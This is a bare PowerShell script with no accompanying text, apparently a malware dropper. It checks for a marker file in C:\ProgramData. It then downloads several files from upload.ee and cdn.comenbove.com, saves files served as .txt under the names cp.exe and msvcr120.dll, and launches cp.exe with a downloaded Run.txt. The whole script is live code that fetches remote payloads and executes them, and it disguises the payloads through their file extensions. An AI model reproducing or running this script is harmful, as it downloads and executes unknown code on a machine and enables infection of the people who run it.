$fileNames = Test-Path C:\ProgramData\smbx22.txt $nic='True' if($fileNames -ne $nic){ (new-object System.Net.WebClient).DownloadFile( 'https://www.upload.ee/files/14046703/1.txt.html','C:\ProgramData\smbx22.txt') } (new-object System.Net.WebClient).DownloadFile( 'http://cdn.comenbove.com/smbdown/Run.txt','C:\ProgramData\Run.txt') (new-object System.Net.WebClient).DownloadFile( 'http://cdn.comenbove.com/smbdown/cp.txt','C:\ProgramData\cp.exe') (new-object System.Net.WebClient).DownloadFile( 'http://cdn.comenbove.com/smbdown/msvcr120.txt','C:\ProgramData\msvcr120.dll') (new-object System.Net.WebClient).DownloadFile( 'http://cdn.comenbove.com/smbdown/abc.jpg','C:\ProgramData\abc.jpg') Start-Process -FilePath C:\ProgramData\cp.exe C:\ProgramData\Run.txt